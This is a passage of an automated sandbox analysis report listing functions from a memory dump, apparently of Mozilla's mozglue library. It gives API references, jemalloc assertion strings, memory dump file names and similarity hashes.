memset.VCRUNTIME140(?,000000E5,?), ref: 6CB11C39
EnterCriticalSection.KERNEL32(6CB5E744), ref: 6CB13391
LeaveCriticalSection.KERNEL32(6CB5E744), ref: 6CB133CD
LeaveCriticalSection.KERNEL32(?), ref: 6CB13431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB13437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB13793
<jemalloc>, xrefs: 6CB13941, 6CB139F1
MALLOC_OPTIONS, xrefs: 6CB135FE
Compile-time page size does not divide the runtime one., xrefs: 6CB13946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB13559, 6CB1382D, 6CB13848
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB13A02
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB137D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB137BD
MOZ_CRASH(), xrefs: 6CB13950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB137A8

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: aa2cfdb1f155d3faaa46b2ed677e7a0f8d2965f1c0e2131609f4b11efb32bc78
Instruction ID: 2f56522ddd31cda09d4bf91bbc979aeb3b4ccc36038fa736006d349e41bf8653
Opcode Fuzzy Hash: aa2cfdb1f155d3faaa46b2ed677e7a0f8d2965f1c0e2131609f4b11efb32bc78
Instruction Fuzzy Hash: 14538071A097818FD704CF29C540616FBE1FF86328F29C66DE8699BB91D771E841CB82

Function 6CB334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33EE2

Part of subcall function 6CB36180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB361DD
Part of subcall function 6CB36180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB3622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB34157

Part of subcall function 6CB36180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB36250
Part of subcall function 6CB36180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB36292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB34448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB3484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB34863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB34878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB34896
free.MOZGLUE ref: 6CB3489F

Strings

, xrefs: 6CB34CD2

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 3eb967c8c17009ea94fcc5b21d1a59d3c94ca4875ffc5b3f270a5e99427d7dcb
Instruction ID: 6f200d8e190a2f31205981029ca13bc7c700aeefbfc742e06f1e4c61423d4f3c
Opcode Fuzzy Hash: 3eb967c8c17009ea94fcc5b21d1a59d3c94ca4875ffc5b3f270a5e99427d7dcb
Instruction Fuzzy Hash: 79F23974908B908FC725CF28C08469AFBF1FF89348F518A5ED99997715DB329886CF42

Function 6CAE64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAE64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAE64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAE6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAE6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAE652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAE671C
GetCurrentProcess.KERNEL32 ref: 6CAE6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAE672F
GetCurrentProcess.KERNEL32 ref: 6CAE6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAE6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAE6A80
GetSystemInfo.KERNEL32(?), ref: 6CAE6ABE
__Init_thread_footer.LIBCMT ref: 6CAE6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE6AF7

Strings

nvdxgiwrap.dll, xrefs: 6CAE6513
user32.dll, xrefs: 6CAE6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAE6798
nvd3d9wrap.dll, xrefs: 6CAE6500
detoured.dll, xrefs: 6CAE64DA
_etoured.dll, xrefs: 6CAE64ED

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 4ced872201d835f5021c217eb85459aa6806106646d7013a570c77142d9202d4
Instruction ID: 2caf1b6c92c89ffe3db899fe67e795fc48a956e095e3118a0d4d451dad08a7c8
Opcode Fuzzy Hash: 4ced872201d835f5021c217eb85459aa6806106646d7013a570c77142d9202d4
Instruction Fuzzy Hash: E9F1E270A0522D8FDB20DF64CC48B9AB7B5AF0A318F184699D919A3741E731AEC4DF90

Function 6CB3C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB3C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB3C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB3C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB3CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB3DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3E472

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 987c463e6893844578d3670cfae3702084bacedb71e174ed4b35a85388ef59c5
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 9F33AF71E0426ACFCB04CFA8C8806EDBBF2FF49310F198269D959AB755D731A945CB90

Function 6CAEFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAEFF81
LeaveCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAF022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAF0240
EnterCriticalSection.KERNEL32(6CB5E768), ref: 6CAF025B
LeaveCriticalSection.KERNEL32(6CB5E768), ref: 6CAF027B

Strings

<jemalloc>, xrefs: 6CAF0D62, 6CAF0D76, 6CAF0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAEFE99, 6CAEFEB7, 6CAEFED3, 6CAF0DB8, 6CAF0DD3, 6CAF19B4
: (malloc) Error in VirtualFree(), xrefs: 6CAF0D67, 6CAF0D7B, 6CAF0DAC

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 49588b97a14be3e140bc8b81c02f6ac7a00adbcfe4bc27f9b6eb53ed8b0593e2
Instruction ID: 40603c5147ed4ca42a2937d6cacf930ab2a605f36476419023f641449a8956ed
Opcode Fuzzy Hash: 49588b97a14be3e140bc8b81c02f6ac7a00adbcfe4bc27f9b6eb53ed8b0593e2
Instruction Fuzzy Hash: B0C27D71A057418FD714CF28C980716BBE1BF85328F28C66DE9B98B795D771E882CB81

Function 6CB3E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CB3E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB3EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB3F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB40E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB40E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CB40EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CB40ED4

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 913d34bcb01fc855a6291e4c06edf50ac44fc784d3ebe2e1bb1e396c9a2b1d5e
Instruction ID: a599df7f2c31f473393097a0d32ed5069c9c49328eead497120b9d5376f489ba
Opcode Fuzzy Hash: 913d34bcb01fc855a6291e4c06edf50ac44fc784d3ebe2e1bb1e396c9a2b1d5e
Instruction Fuzzy Hash: 57638171E0429ACFCB04CFA8C8906DDF7B2FF99310F298269D859AB755D730A945CB90

Function 6CB13E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CB37770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB13E7D,?,?,?,6CB13E7D,?,?), ref: 6CB3777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CB13F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB13F5C
VerSetConditionMask.NTDLL ref: 6CB13F8D
VerSetConditionMask.NTDLL ref: 6CB13F99
VerSetConditionMask.NTDLL ref: 6CB13FA0
VerSetConditionMask.NTDLL ref: 6CB13FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB13FB4

Strings

nvinit.dll, xrefs: 6CB14479
nvd3d9wrap.dll, xrefs: 6CB14466

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: e5cb92ed2743c17e8672ba9cabecd15dda1405d4287ca8470d932710f62450ec
Instruction ID: 11d29a2e511d9fb78208664da36db111bf0e565b63a44457afd37582aaf6a2af
Opcode Fuzzy Hash: e5cb92ed2743c17e8672ba9cabecd15dda1405d4287ca8470d932710f62450ec
Instruction Fuzzy Hash: A3520471614B898FD710DF34C984AAB77E9EF45208F444A2DE4928BB42DB34F94DCBA0

Function 6CAFED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CAFEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CAFEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB01695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CB01770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB01A3E

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 1ccd5bc99e22ddbd314640b6b7141c749060ba8fe63e9a1c89b62f9223579826
Instruction ID: 3051c85551ef6d6a882ed8d41df3ee4c118ce8011c60e9cd66c67b219103582e
Opcode Fuzzy Hash: 1ccd5bc99e22ddbd314640b6b7141c749060ba8fe63e9a1c89b62f9223579826
Instruction Fuzzy Hash: B4B32A71E04259CFCB14CFA8C890A9DBBB2FF49304F1982A9D459AB745D730AD86CF91

Function 6CAEFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAEFF81
LeaveCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAF022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAF0240
EnterCriticalSection.KERNEL32(6CB5E768), ref: 6CAF025B
LeaveCriticalSection.KERNEL32(6CB5E768), ref: 6CAF027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAEFE99, 6CAEFEB7, 6CAEFED3, 6CAF0DB8, 6CAF0DD3, 6CAF19B4, 6CAF1A10
MOZ_CRASH(), xrefs: 6CAF0CA7

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 24e5113b686f5467c09c2a74aac5c9dce45f034f58e18b0ede079f105149f3da
Instruction ID: b588a0ac709f24c0e19a14a660f32190418afc8703d3e5c4b2ac9f44d40b000f
Opcode Fuzzy Hash: 24e5113b686f5467c09c2a74aac5c9dce45f034f58e18b0ede079f105149f3da
Instruction Fuzzy Hash: FDB28D716057418FD714CF29C590726BBE1AF85328F28C66CF9BA8B795D770E882CB81

Function 6CB25600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6CB26131
name, xrefs: 6CB25E79, 6CB25E8F
expected a Count entry, xrefs: 6CB25AC3
schema, xrefs: 6CB2606D
expected a Time entry, xrefs: 6CB25CB6
ProfileBuffer parse error: %s, xrefs: 6CB25AC8, 6CB25CBB

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 725b031dd5d6463b206aa04112cab22941fad224acf20597fe89a08d617962b2
Instruction ID: 370c3f0e964b2e3a6d9f307a2b75deb763592722f2c3b243c2cb27dbcdef4064
Opcode Fuzzy Hash: 725b031dd5d6463b206aa04112cab22941fad224acf20597fe89a08d617962b2
Instruction Fuzzy Hash: 97922B71A083818FD724CF28C4907AABBE1FFC9308F54891DE5999B755DB34E849CB92

Function 6CB17E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6CB18280, 6CB183E1
name, xrefs: 6CB17ECF, 6CB18335
schema, xrefs: 6CB181E3, 6CB18311
(pre-xul), xrefs: 6CB17E88

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 4a18b54903ec5633819dfbb42ed4f24dbacf4b933b8772002cffb8d251b582ab
Instruction ID: 2e9ff275ae563c422511c04b6932eed79c17a9807b7b3b77b0d0f0b2904ecee1
Opcode Fuzzy Hash: 4a18b54903ec5633819dfbb42ed4f24dbacf4b933b8772002cffb8d251b582ab
Instruction Fuzzy Hash: B1E16071A043848BC710CF68C84066BFBEAFBD9314F558A2DE895D7790DBB0DD498B92

Function 6CAFD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD4F2
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD50B

Part of subcall function 6CADCFE0: EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CADCFF6
Part of subcall function 6CADCFE0: LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CADD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD52E
EnterCriticalSection.KERNEL32(6CB5E7DC), ref: 6CAFD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAFD6A6
LeaveCriticalSection.KERNEL32(6CB5E7DC), ref: 6CAFD712
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAFD7EA

Strings

<jemalloc>, xrefs: 6CAFD827
: (malloc) Error initializing arena, xrefs: 6CAFD82C

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: eef1126e761afe82cd2f3cdc1c584c17e1510cf087f633f256a4a12042bfa0db
Instruction ID: 2cbf027aff4a9a122d7ccb22bc8963141fabacfb2969340c9c03b60dfc56b429
Opcode Fuzzy Hash: eef1126e761afe82cd2f3cdc1c584c17e1510cf087f633f256a4a12042bfa0db
Instruction Fuzzy Hash: EA91D371E047818FD756CF28C09076EB7E1EB89314F58492EE56ACBB80D734E885CB82

Function 6CAF5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2
memset.VCRUNTIME140(6CB37765,000000E5,B5C09015), ref: 6CAF61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CAF7652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAF7BCD, 6CAF7C1F, 6CAF7C34, 6CAF80FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAF730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAF72F8
MOZ_CRASH(), xrefs: 6CAF7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAF72E3

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

